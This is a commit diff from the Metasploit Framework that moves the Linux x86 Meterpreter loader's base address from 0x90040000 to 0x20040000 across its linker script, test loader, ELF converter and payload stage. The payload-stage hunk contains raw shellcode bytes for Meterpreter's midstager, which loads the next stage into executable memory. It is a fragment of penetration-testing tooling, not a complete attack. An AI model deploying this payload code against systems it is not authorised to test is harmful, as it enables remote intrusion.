infosecn1nja
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metasploit-framework
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Change base from 0x90040000 to 0x20040000. 

This is more portable across kernel versions / patches it seems. This
will be better for SEGMEXEC compatibility as well.

git-svn-id: file:///home/svn/framework3/trunk@10455 4d416f70-5f16-0410-b530-b9f4589650da
unstable
pks 2010-09-24 04:06:28 +00:00
parent b8b21cd53c
commit 740e2c1ab2
5 changed files with 5 additions and 5 deletions
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BIN
data/msflinker_linux_x86.bin
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2
external/source/meterpreter/source/server/rtld/elf2bin.c vendored
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@ -13,7 +13,7 @@
#define EIGHTMEM (32 * 1024 * 1024)
#define BASE 0x90040000
#define BASE 0x20040000
int main(int argc, char **argv)
{

4
external/source/meterpreter/source/server/rtld/rtldtest.c vendored
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@ -31,8 +31,8 @@ int main(int argc, char **argv)
}
// mapping = mmap(0x90040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
mapping = mmap(0x90040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE, fd, 0);
if(mapping == MAP_FAILED || mapping != 0x90040000) {
mapping = mmap(0x20040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE, fd, 0);
if(mapping == MAP_FAILED || mapping != 0x20040000) {
printf("Failed to mmap(): %s (%08x) \n", strerror(errno), mapping);
exit(EXIT_FAILURE);
}

2
external/source/meterpreter/source/server/rtld/script vendored
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@ -7,7 +7,7 @@ SEARCH_DIR("/usr/i486-linux-gnu/lib32"); SEARCH_DIR("/usr/local/lib32"); SEARCH_
SECTIONS
{
/* Read-only sections, merged into text segment: */
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x90040000)); . = SEGMENT_START("text-segment", 0x90040000) + SIZEOF_HEADERS;
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x20040000)); . = SEGMENT_START("text-segment", 0x20040000) + SIZEOF_HEADERS;
.interp : { *(.interp) }
.note.gnu.build-id : { *(.note.gnu.build-id) }
.hash : { *(.hash) }

2
modules/payloads/stages/linux/x86/meterpreter.rb
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@ -83,7 +83,7 @@ module Metasploit3
midstager <<
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x90\x8b\x4c\x24" +
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +